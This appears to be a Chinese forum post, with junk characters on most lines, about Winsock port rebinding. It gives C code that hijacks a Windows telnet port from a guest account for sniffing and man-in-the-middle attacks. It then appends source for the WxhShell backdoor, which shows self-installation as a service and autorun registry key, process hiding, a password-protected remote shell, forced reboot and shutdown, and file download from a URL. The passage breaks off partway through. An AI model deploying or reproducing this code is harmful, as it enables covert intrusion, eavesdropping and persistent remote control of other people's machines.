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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eGUe#(I /  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {JM3drnw  
Ok phbAX  
  saddr.sin_family = AF_INET; \5b<!Nl  
OA7=kH@3c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bBQHxH}vi  
"WqM<kLa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NM1TFs2Y*  
USXPa[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oTA'=<W?D  
Y5TBWcGU%  
  这意味着什么?意味着可以进行如下的攻击: w$749jGx  
,88%eX|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3ep L'My$  
K,*IfHi6[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AI .2os*  
U}{\qs-zt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ds\f?\Em  
mHc2v==X\-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ltd'"J/r  
'IER9%V$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _K~?{".  
w$Mb+b$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n4zns,:)/  
l`];CALA4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1'5 !")r  
/PkOF ((  
  #include Uzk_ae  
  #include #elaz8 5  
  #include 87nsWBe  
  #include    EKT"pL-EY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z<BwV /fH}  
  int main() _[ `"E'  
  { 16I(S  
  WORD wVersionRequested; ,-BZsZ0~  
  DWORD ret; y)Lyo'`  
  WSADATA wsaData; td+[Na0d  
  BOOL val; wSs78c=  
  SOCKADDR_IN saddr; <JJi  
  SOCKADDR_IN scaddr; &l~=c2  
  int err; S[uHPYhlA  
  SOCKET s; &S# bLE  
  SOCKET sc; POQ1K O  
  int caddsize; g/,O51f'  
  HANDLE mt; W&^2Fb  
  DWORD tid;   O11.wLNH  
  wVersionRequested = MAKEWORD( 2, 2 ); # /pZ#ny  
  err = WSAStartup( wVersionRequested, &wsaData ); nzu 3BVv  
  if ( err != 0 ) { ;D<rGkry  
  printf("error!WSAStartup failed!\n"); Eb9M;u  
  return -1; 7h/{F({r=  
  } M, UYDZ',  
  saddr.sin_family = AF_INET; dkbKnY&  
   #kGxX@0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FkT % -I  
Xq%!(YD|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?|Mmz@  
  saddr.sin_port = htons(23); ~9ILN~91  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RwwX;I"o%  
  { S[M\com'  
  printf("error!socket failed!\n"); ihhnB  
  return -1; ("BFI  
  }   s/'gl  
  val = TRUE; r^6v o6^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -.WVuc`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X]*W +  
  { }fs;yPl,  
  printf("error!setsockopt failed!\n"); >heih%Ar0J  
  return -1; 2jx+q  
  } f1>^kl3@P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V1;Qt-i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (jYs_8;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j|(bDa4\  
p:ST$ 1 K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4%j&]PASa1  
  { vR~*r6hX8  
  ret=GetLastError(); fhn0^Qc"+  
  printf("error!bind failed!\n"); 7\U1K^q  
  return -1; Fk(0q/b  
  } (^Do#3  
  listen(s,2); o-Idr{  
  while(1) Nmsb  
  { ^! ZjK-$A<  
  caddsize = sizeof(scaddr); qc'tK6=jp  
  //接受连接请求 KwQO,($,]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mLY*  
  if(sc!=INVALID_SOCKET) n8G#TQrAE  
  { \a]\j Zb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6eK^T=  
  if(mt==NULL) Yhw* `"X  
  { r rwsj`  
  printf("Thread Creat Failed!\n"); X0Oq lAw  
  break; mQs'2Y6Oa  
  } nLfnikw&  
  } q=1SP@;\6  
  CloseHandle(mt); IfXLnD^||  
  } 56_KB.Ww~  
  closesocket(s); >;3c; nf  
  WSACleanup(); t2Y~MyT/  
  return 0; xf]4!zE  
  }   MM8)yCI  
  DWORD WINAPI ClientThread(LPVOID lpParam) l*m|b""].u  
  { c\b>4 &n  
  SOCKET ss = (SOCKET)lpParam; z:G9Uu3H(  
  SOCKET sc; "\=_- `  
  unsigned char buf[4096]; %-'U9e KN  
  SOCKADDR_IN saddr; *-Yw0Y[E  
  long num; 6~/H#8Kdn  
  DWORD val; e#OU {2X  
  DWORD ret; G<dXJ ]\\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )w` Nkx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X0$_KPn  
  saddr.sin_family = AF_INET; BmJ?VJ}Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L wu;y@[  
  saddr.sin_port = htons(23); 4QVd{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4#YklVm  
  { K/,lw~>  
  printf("error!socket failed!\n"); &L?Dogo  
  return -1; ,RHHNTB("  
  } d#tUG~jc  
  val = 100; (os7Q?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W[m_IY  
  { `3:%F>  
  ret = GetLastError(); D_)vGvv3;.  
  return -1; Q}T9NzOH%  
  } *j* WE\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QaO`:wJj  
  { Ja&%J:  
  ret = GetLastError(); )-{Qa\6(%  
  return -1; /YbL{G )j}  
  } w g1pt1 `  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !T{g& f  
  { !!86Sv  
  printf("error!socket connect failed!\n"); e`rY]X  
  closesocket(sc); hF1/=;>  
  closesocket(ss); 7a<qP=J  
  return -1; ("oA{:@d  
  } `IoX'|C[h  
  while(1) !%X`c94  
  { K0g:Q*J-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1X*T219o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t_rDXhM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a=FRJQ8S  
  num = recv(ss,buf,4096,0); u3:Qt2^S  
  if(num>0) ka3 Z5  
  send(sc,buf,num,0); S8RB0^Q7  
  else if(num==0) 9gg,Dy  
  break; k I~]u  
  num = recv(sc,buf,4096,0); /<$"c"UQ  
  if(num>0) (r4VIlap  
  send(ss,buf,num,0); kU/=Du  
  else if(num==0) ks;wc"k"  
  break; srLr~^$j[  
  } Ag6 (  
  closesocket(ss); MGz F+ln^U  
  closesocket(sc); vWH>k+9&X  
  return 0 ; jTr 4A-"  
  } yp^*TD/J  
|mmG s  
9VE;I:NO3  
========================================================== {UBQ?7.jE  
Ekme62Q>u  
下边附上一个代码,,WXhSHELL }YP7x|  
77d`N  
========================================================== t`,IW{  
})lT fy  
#include "stdafx.h" F^z8+W  
c$kb0VR  
#include <stdio.h> nln6:^w  
#include <string.h> t1{}-JlA  
#include <windows.h> \]A;EwC4C  
#include <winsock2.h> -3t BN*0+  
#include <winsvc.h> ;-GzGDc~0  
#include <urlmon.h> WnzPPh3PJ  
d J:x1j  
#pragma comment (lib, "Ws2_32.lib") q{/Jw"e  
#pragma comment (lib, "urlmon.lib") #L:P R>  
<]^;/2 .B  
#define MAX_USER   100 // 最大客户端连接数 F ^t?*   
#define BUF_SOCK   200 // sock buffer !muYn-4M  
#define KEY_BUFF   255 // 输入 buffer IW o~s  
m2CWQ[u  
#define REBOOT     0   // 重启 ;nKHm  
#define SHUTDOWN   1   // 关机 ?_>^<1I1  
UX`DZb +^  
#define DEF_PORT   5000 // 监听端口 ?s)sPM?  
mv*T=N8fC  
#define REG_LEN     16   // 注册表键长度 u?;Vxh3@|  
#define SVC_LEN     80   // NT服务名长度 vj&5`  
}FiN 7#  
// 从dll定义API !NLvo_[Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C'czXZtn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C!{AnWf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); | 58 !A]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); prEu9$:t  
ob0 8xGj  
// wxhshell配置信息 uy _i{Y|  
struct WSCFG { QrckTO  
  int ws_port;         // 监听端口 cYM~IA  
  char ws_passstr[REG_LEN]; // 口令 )ko{S[gG  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,r 2VP\hLh  
  char ws_regname[REG_LEN]; // 注册表键名 Bd9hf`% 2  
  char ws_svcname[REG_LEN]; // 服务名 #} ~p^ 0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `X<`j6zaG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4^[}]'w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dH2]ZE0V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fb"J Bc}X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bf:tal6 -M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |\%F(d330  
.pIR/2U\F  
}; 5`"*y iv  
HIX=MprL<  
// default Wxhshell configuration Km9}^*Mo%  
struct WSCFG wscfg={DEF_PORT, kV\-%:-  
    "xuhuanlingzhe", ri<'-wi  
    1, <Hh5u~  
    "Wxhshell", e-iYJ?  
    "Wxhshell", i6F:C &.  
            "WxhShell Service", 6<s(e_5f  
    "Wrsky Windows CmdShell Service", a#Kmj 0  
    "Please Input Your Password: ", Vo9>o@FlLM  
  1, n4WSV  
  "http://www.wrsky.com/wxhshell.exe", j!S1Y0CV  
  "Wxhshell.exe" I[=Wmxa?r  
    }; AGEZ8(h  
+2EHmuJ;  
// 消息定义模块 ~TG39*m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2~M;L&9-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]M~8 @K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EvqUNnjR  
char *msg_ws_ext="\n\rExit.";  nOoKGT  
char *msg_ws_end="\n\rQuit."; W1?!iE~tO  
char *msg_ws_boot="\n\rReboot..."; ,TF<y#wed  
char *msg_ws_poff="\n\rShutdown..."; Mr=}B6`  
char *msg_ws_down="\n\rSave to "; rkfQr9Vc  
6; 5)/q  
char *msg_ws_err="\n\rErr!"; +MNSZLP]  
char *msg_ws_ok="\n\rOK!"; p;qRm} 0}  
U~{Sa+  
char ExeFile[MAX_PATH]; '!wPnYT@D  
int nUser = 0; { r6]MS#l1  
HANDLE handles[MAX_USER]; 0{0;1.ZP  
int OsIsNt; V< i<0E  
_8[UtZYG  
SERVICE_STATUS       serviceStatus; N<aB)</  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X2 \E9hJg  
rWoe ?g  
// 函数声明 s?^,iQ+tp  
int Install(void); |.b%rVu  
int Uninstall(void); # #k #q=4  
int DownloadFile(char *sURL, SOCKET wsh); =MTj4VXh"  
int Boot(int flag); .Lojzx  
void HideProc(void); g|ql 5jW  
int GetOsVer(void); "H5&3sF2  
int Wxhshell(SOCKET wsl); .-.q3ib  
void TalkWithClient(void *cs); |`w$|pm=  
int CmdShell(SOCKET sock); UvPp~N 7,  
int StartFromService(void); uQ:Qb|  
int StartWxhshell(LPSTR lpCmdLine); v[R_S  
!Z U_,[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ |4 Ca't  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,dHP`j ?  
D^,\cZbY  
// 数据结构和表定义 =QrA0kQR  
SERVICE_TABLE_ENTRY DispatchTable[] = <^ #P6  
{ 13ipaz  
{wscfg.ws_svcname, NTServiceMain}, `aO.=:O_  
{NULL, NULL} YO)')&  
}; ':,>eL#+uV  
:~t<L%tYF  
// 自我安装 }US7 N w  
int Install(void) xe(MHNrj  
{ \4OK!6LkI  
  char svExeFile[MAX_PATH]; >W8bWQ^fK  
  HKEY key; davvI$TA  
  strcpy(svExeFile,ExeFile); s,84*6u  
mYX56,b}5  
// 如果是win9x系统,修改注册表设为自启动 iH[E= 6*  
if(!OsIsNt) { q z=yMIy=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BwJNi6,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "VV914*z  
  RegCloseKey(key); xC)7eQn/R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h=hoV5d@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a|UqeNI{  
  RegCloseKey(key); a ]>VZOet  
  return 0; BpH|/7  
    } bKYY{V55  
  } GUKDhg,W  
} #xlZU  
else { Z%Vr+)!4  
9QX4R<"wUg  
// 如果是NT以上系统,安装为系统服务 B9wp*:.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V{KjRSVf=  
if (schSCManager!=0) -eUV`&[4  
{ b<\$d4Qy  
  SC_HANDLE schService = CreateService MM7"a?y)  
  ( ^ b@!dS  
  schSCManager, .Nc_n5D6  
  wscfg.ws_svcname, D^n xtuT*  
  wscfg.ws_svcdisp, [4Y[?)7  
  SERVICE_ALL_ACCESS, C+`xx('N9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {-Yee[d<?  
  SERVICE_AUTO_START, ~fBex_.o*  
  SERVICE_ERROR_NORMAL, L4~ W/6A  
  svExeFile, B0v|{C   
  NULL, }0Y`|H\v  
  NULL, k'x #t(  
  NULL, z=B< `}@3  
  NULL, 1f<RyAE?5  
  NULL B9}E {)T?  
  ); =w6}\ 'X  
  if (schService!=0) 1ADv?+j)A/  
  { vuZf#\zh}  
  CloseServiceHandle(schService); A9t8`|1"%H  
  CloseServiceHandle(schSCManager); ~*,Wj?~+7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (oF-O{  
  strcat(svExeFile,wscfg.ws_svcname); s*f1x N<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `T=1<Twc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J=@xAVBc  
  RegCloseKey(key); ?;_H{/)m  
  return 0; cg{Gc]'1#  
    } RYH)AS4w'  
  } "(<%Ua  
  CloseServiceHandle(schSCManager); 6i| ~7md,  
} ZEqE$:  
} Uh}+"h5  
o~;M"  
return 1; '<W<B!HP5Z  
} ?&6Q%IUW1  
w]F!2b!  
// 自我卸载 rEmwKZF'  
int Uninstall(void) pD[pTMG@$  
{ " <Qm -  
  HKEY key; 3 &Sp@,  
1) 'Iu`k/  
if(!OsIsNt) { eKyqU9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gp8psH  
  RegDeleteValue(key,wscfg.ws_regname); oK$ '9c5<  
  RegCloseKey(key); /~tP7<7A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L@?e:*h  
  RegDeleteValue(key,wscfg.ws_regname); 94y9W#  
  RegCloseKey(key); #hy+ L  
  return 0; q=+ wI"[  
  } B 2Z0  
} 6m@0;Ht  
} ]q&tQJ/Fa  
else { :Pf>Z? /d  
vbaC+AiX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @+E7w6>%  
if (schSCManager!=0) `|,Bm|~:  
{ \f<z*!,D$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `6}Yqh))  
  if (schService!=0) D?mDG|Z  
  { y] y9'5_  
  if(DeleteService(schService)!=0) { 8+ hhdy*b  
  CloseServiceHandle(schService); 6uqUiRs()  
  CloseServiceHandle(schSCManager); Cg^:jd  
  return 0; 5e8xKL  
  } +!><5  
  CloseServiceHandle(schService); J)KnE2dw5  
  } w,/6B&|  
  CloseServiceHandle(schSCManager); =W<[Fe3  
} zIm-X,~I$  
} GL`tOD:P"  
=|"= l1  
return 1; `,P >mp)uU  
} ]w-.|vx  
Sz)b7:  
// 从指定url下载文件 O+b6lg)q  
int DownloadFile(char *sURL, SOCKET wsh) lC4PKm no  
{ /?U!y?t&@  
  HRESULT hr; X.eB ;w/}  
char seps[]= "/"; &Sa~/!M  
char *token; 5NFRPGYX  
char *file; QAUykS8  
char myURL[MAX_PATH]; ^vM_kAr A  
char myFILE[MAX_PATH]; _*n)mlLln  
G1[(F`t>  
strcpy(myURL,sURL); h$/JGm5uDb  
  token=strtok(myURL,seps); +q-c 8z  
  while(token!=NULL) QF&6?e06p0  
  { x,uBJ  
    file=token; yV2e5/i  
  token=strtok(NULL,seps); ^vaL8+  
  } m9!DOL1pl  
shzG Eb  
GetCurrentDirectory(MAX_PATH,myFILE); K_&_z  
strcat(myFILE, "\\"); %6HX*_Mr&  
strcat(myFILE, file); mLaCkn  
  send(wsh,myFILE,strlen(myFILE),0); 7>&1nBh. f  
send(wsh,"...",3,0); 'kEG.Oq7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w5(yCyNp~  
  if(hr==S_OK) }hq^+fC?  
return 0; lRH0)5`  
else  p[Hr39o  
return 1; {2 EMz|&8  
AK;^9b-}q:  
} CW;m  
qRl/Sl#F  
// 系统电源模块 -=sf}4A  
int Boot(int flag) Gk 6fO  
{ [zx|eG<&-  
  HANDLE hToken; +f$Z-U1H/  
  TOKEN_PRIVILEGES tkp; r&Q t_  
u GAh7Sop  
  if(OsIsNt) { Kr]W o8dWy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bBG/gQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .l=p[BI  
    tkp.PrivilegeCount = 1; 8JP6M!F#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W0|_]"K-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q0g1E Jar  
if(flag==REBOOT) { Ck@M<(x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `@MPkC y1  
  return 0; `V@z&n0P6  
} <r3Jf}%tT  
else { dE GX3 -  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7*MU2gb  
  return 0; ZMJ3NN]F  
} 0O[l?e4,8{  
  } k:mlt:  
  else { qCQu^S' iD  
if(flag==REBOOT) { >3!DOv   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y{92Lym  
  return 0; W }Zb~[,  
} sjb-Me?  
else { #@E(<Pu4`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )WmZP3$^TX  
  return 0; >Zo-wYG  
} zsQF,7/}B  
} *W%'Di  
8F)=n \  
return 1; 8yvJ`eL-  
} CWBbSGk  
V(DjF=8  
// win9x进程隐藏模块 FCAJavOGH  
void HideProc(void) 0JyqCb l  
{ L\YZT| K(  
RyE_|]I62u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;AltNGcM  
  if ( hKernel != NULL ) <ZV7|'^  
  { ~T7\8K+ $  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Qg{ ;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QY =QQG  
    FreeLibrary(hKernel); aX]y`  
  } 'z~KTDX  
>pnz_MQ   
return; K)Ge  
} eWw y28t  
ah>Dqb*  
// 获取操作系统版本 -: C[P  
int GetOsVer(void) il7 !}  
{ Nl=+.d6 Qo  
  OSVERSIONINFO winfo; 'h k @>"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F; 0Dp  
  GetVersionEx(&winfo); v3Eo@,-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oR7 7`  
  return 1; /lru"R D  
  else (a,6a  
  return 0; IG>>j}  
} )2/b$i,JKk  
:ECw \_"0$  
// 客户端句柄模块  r^e-.,+  
int Wxhshell(SOCKET wsl) f&f[La  
{ 7@3M]5:3g  
  SOCKET wsh; L-SdQTx_  
  struct sockaddr_in client; lf}?!*V`+  
  DWORD myID;  POkXd^pI  
E#m76]vkCU  
  while(nUser<MAX_USER) []!tT-Gzy  
{ i;gw= Be  
  int nSize=sizeof(client); <x^IwS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YK7gd|LR]  
  if(wsh==INVALID_SOCKET) return 1; &MBOAHhze  
oK%K+h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A-}PpH~.Z  
if(handles[nUser]==0) ^BQ>vI'.4  
  closesocket(wsh); ">03~:oA  
else Z5 w`-#  
  nUser++; RiwEuY  
  } yZQ1] '^31  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zjzqKdy}F  
Z(#XFXd  
  return 0; HdDo&#  
} \t[ hg  
5B_-nYJDt  
// 关闭 socket bwv/{3G,Ys  
void CloseIt(SOCKET wsh) hn*}5!^  
{ _Jt_2o%G  
closesocket(wsh);  eYPt  
nUser--; x A@|I#  
ExitThread(0); 9N`+ O  
} Tey,N^=ek  
KBp!zSl  
// 客户端请求句柄 q_OY sg  
void TalkWithClient(void *cs) 56 /.*qa  
{ `\4RFr$  
:5q^\xmmq  
  SOCKET wsh=(SOCKET)cs; e<&_tx   
  char pwd[SVC_LEN];  dfYYyE  
  char cmd[KEY_BUFF]; Ih9ORp7  
char chr[1]; `HMligT  
int i,j; /TR"\xQF  
~GsH8yA_P  
  while (nUser < MAX_USER) { ^^20vwq  
k:&?$  
if(wscfg.ws_passstr) { 3Y.d&Nz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Off: ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eHfG;NsV /  
  //ZeroMemory(pwd,KEY_BUFF);  Ep#<$6>  
      i=0; ^H@!)+ =  
  while(i<SVC_LEN) { ;@h'Mb  
81%qM7v9H  
  // 设置超时 3"2<T^H]  
  fd_set FdRead; I\F=s-VVY  
  struct timeval TimeOut;  Y,<WX v  
  FD_ZERO(&FdRead); FcJ.)U  
  FD_SET(wsh,&FdRead); + 3~Gc<OO  
  TimeOut.tv_sec=8; 9g<_JcN  
  TimeOut.tv_usec=0; +qu@dU0\`|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mYsuNTx!.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J%O[@jX1  
8_sU8q*s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |yId6v  
  pwd=chr[0]; N`L' 4v)  
  if(chr[0]==0xd || chr[0]==0xa) { .lNnY8<  
  pwd=0; w2M IY_N?  
  break;  CU7iva  
  } ID{Pzmt-  
  i++; {U+9,6.`  
    } _Oaso >  
R+@sHsZ@  
  // 如果是非法用户,关闭 socket [W8iM7D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ux/[d6To  
} F?+Uar|-a  
o#KPrW`XJ/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xoa <r9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D; 35@gtj  
eL] w' }\  
while(1) { dKN3ZCw*gF  
{) '" k6w  
  ZeroMemory(cmd,KEY_BUFF); iA{chQBr  
<|>:UGAR  
      // 自动支持客户端 telnet标准   7p"~:1hU  
  j=0; 5D02%U2N)G  
  while(j<KEY_BUFF) { =>9.@`.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )4o=t.O\K  
  cmd[j]=chr[0]; _,-M8=dL%*  
  if(chr[0]==0xa || chr[0]==0xd) { %(wsGNd  
  cmd[j]=0; X G@>1/  
  break; v'2OHb#  
  } RE*S7[ge  
  j++; "351s3ff  
    } q5K/+N^2?  
EF7|%N  
  // 下载文件 '=G<)z@k  
  if(strstr(cmd,"http://")) { d9e H}#OY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SUFaHHk@/b  
  if(DownloadFile(cmd,wsh)) JD\-X(O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Av- ;!]  
  else %onAlf<$:^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6[Pr<4J  
  } 5F_:[H =   
  else { bMK'J  
YaE['a  
    switch(cmd[0]) { fN? Lz%z3  
  P A+e= %  
  // 帮助 Pt)}HF|u  
  case '?': { %w|3:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G QB^  
    break; (k HQKQmq  
  } H fmMf^c  
  // 安装 $R#L@iL-  
  case 'i': { }mS0{rxD4  
    if(Install()) 5<GRi "7A@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EpS8,[w  
    else _/w-gL{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z(#hL-{c  
    break; -"^WDs  
    } Y Z2VP  
  // 卸载 y.]]V"'2  
  case 'r': { ~X(xa  
    if(Uninstall()) a0W\?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCF-*nm  
    else 36Y[7 m=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N %/DN  
    break; r`"#c7)  
    } )aA9z(x  
  // 显示 wxhshell 所在路径  eJ\j{-  
  case 'p': { #3[b|cL  
    char svExeFile[MAX_PATH]; GpQF * x  
    strcpy(svExeFile,"\n\r"); qO3BQ]UF  
      strcat(svExeFile,ExeFile); ZJ}LnPr  
        send(wsh,svExeFile,strlen(svExeFile),0); JY8"TQ$x  
    break; WMl^XZO  
    } Ewsg&CCN  
  // 重启 DczF0Ow  
  case 'b': { M[N.H9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hBSJEP  
    if(Boot(REBOOT)) =]mx"0i[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ->9xw  
    else { 7?WBzo!!L  
    closesocket(wsh); 8t \>  
    ExitThread(0); (eE}W~Z  
    } /<pQ!'/G  
    break; {hP&P  
    } )P+GklI{4  
  // 关机 0!\q  
  case 'd': { &_hCs![  
